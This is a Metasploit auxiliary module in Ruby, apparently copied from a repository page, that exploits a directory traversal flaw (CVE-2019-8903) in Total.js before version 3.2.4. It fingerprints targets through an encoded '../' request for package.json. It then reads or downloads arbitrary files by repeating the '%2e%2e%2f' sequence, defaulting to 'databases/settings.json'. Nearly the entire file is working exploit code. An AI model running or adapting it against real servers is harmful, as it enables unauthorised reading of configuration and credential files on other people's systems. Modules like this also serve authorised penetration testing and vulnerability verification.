152 lines
4.7 KiB
Ruby
152 lines
4.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
# Check and exploit Total.js Directory Traversal (CVE-2019-8903)
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Total.js prior to 3.2.4 Directory Traversal',
|
|
'Description' => %q(
|
|
This module check and exploits a directory traversal vulnerability in Total.js prior to 3.2.4.
|
|
|
|
Here is a list of accepted extensions: flac, jpg, jpeg, png, gif, ico, js, css, txt, xml,
|
|
woff, woff2, otf, ttf, eot, svg, zip, rar, pdf, docx, xlsx, doc, xls, html, htm, appcache,
|
|
manifest, map, ogv, ogg, mp4, mp3, webp, webm, swf, package, json, md, m4v, jsx, heif, heic
|
|
),
|
|
'Author' =>
|
|
[
|
|
'Riccardo Krauter', # Discovery
|
|
'Fabio Cogno' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2019-8903'],
|
|
['CWE', '22'],
|
|
['URL', 'https://blog.totaljs.com/blogs/news/20190213-a-critical-security-fix/'],
|
|
['URL', 'https://security.snyk.io/vuln/SNYK-JS-TOTALJS-173710']
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2019-02-18',
|
|
'Actions' =>
|
|
[
|
|
['CHECK', { 'Description' => 'Check if the target is vulnerable' }],
|
|
['READ', { 'Description' => 'Attempt to print file content' }],
|
|
['DOWNLOAD', { 'Description' => 'Attempt to download a file' }]
|
|
],
|
|
'DefaultAction' => 'CHECK'))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'Path to Total.js App installation', '/']),
|
|
OptInt.new('DEPTH', [true, 'Traversal depth', 1]),
|
|
OptString.new('FILE', [true, 'File to obtain', 'databases/settings.json'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check_ext
|
|
extensions = %w[
|
|
flac jpg jpeg png gif ico js css txt xml
|
|
woff woff2 otf ttf eot svg zip rar pdf
|
|
docx xlsx doc xls html htm appcache
|
|
manifest map ogv ogg mp4 mp3 webp webm
|
|
swf package json md m4v jsx heif heic
|
|
]
|
|
|
|
ext = datastore['FILE'].split('.').last
|
|
|
|
unless extensions.include? ext
|
|
print_warning "Extension #{ext} is not supported by the HTTP static route of the framework"
|
|
end
|
|
end
|
|
|
|
def check
|
|
uri = normalize_uri(target_uri.path) + '%2e%2e%2fpackage.json'
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => uri
|
|
)
|
|
if res && res.code == 200
|
|
json = res.get_json_document
|
|
if json.empty? || !json['dependencies']['total.js']
|
|
return Exploit::CheckCode::Safe
|
|
else
|
|
print_status("Total.js version is: #{json['dependencies']['total.js']}")
|
|
print_status("App name: #{json['name']}")
|
|
print_status("App description: #{json['description']}")
|
|
print_status("App version: #{json['version']}")
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
elsif res && res.headers['X-Powered-By'].to_s.downcase.include?('total.js')
|
|
print_status('Target appear to be vulnerable!')
|
|
print_status("X-Powered-By: #{res.headers['X-Powered-By']}")
|
|
return Exploit::CheckCode::Detected
|
|
else
|
|
vprint_warning('No response')
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
end
|
|
|
|
def read
|
|
check_ext
|
|
traverse = '%2e%2e%2f' * datastore['DEPTH']
|
|
uri = normalize_uri(target_uri.path) + traverse + datastore['FILE']
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => uri
|
|
)
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Connection failed')
|
|
end
|
|
if res.code != 200
|
|
print_error("Unable to read '#{datastore['FILE']}', possibly because:")
|
|
print_error("\t1. File does not exist.")
|
|
print_error("\t2. No permission.")
|
|
return
|
|
end
|
|
print_status("Getting #{datastore['FILE']}...")
|
|
print_line(res.body)
|
|
end
|
|
|
|
def download
|
|
check_ext
|
|
traverse = '%2e%2e%2f' * datastore['DEPTH']
|
|
uri = normalize_uri(target_uri.path) + traverse + datastore['FILE']
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => uri
|
|
)
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Connection failed')
|
|
end
|
|
if res.code != 200
|
|
print_error("Unable to read '#{datastore['FILE']}', possibly because:")
|
|
print_error("\t1. File does not exist.")
|
|
print_error("\t2. No permission.")
|
|
return
|
|
end
|
|
fname = datastore['FILE'].split('/')[-1].chop
|
|
ctype = res.headers['Content-Type'].split(';')
|
|
loot = store_loot('lfi.data', ctype[0], rhost, res.body, fname)
|
|
print_good("File #{fname} downloaded to: #{loot}")
|
|
end
|
|
|
|
def run
|
|
case action.name
|
|
when 'CHECK'
|
|
check
|
|
when 'READ'
|
|
read
|
|
when 'DOWNLOAD'
|
|
download
|
|
end
|
|
end
|
|
end
|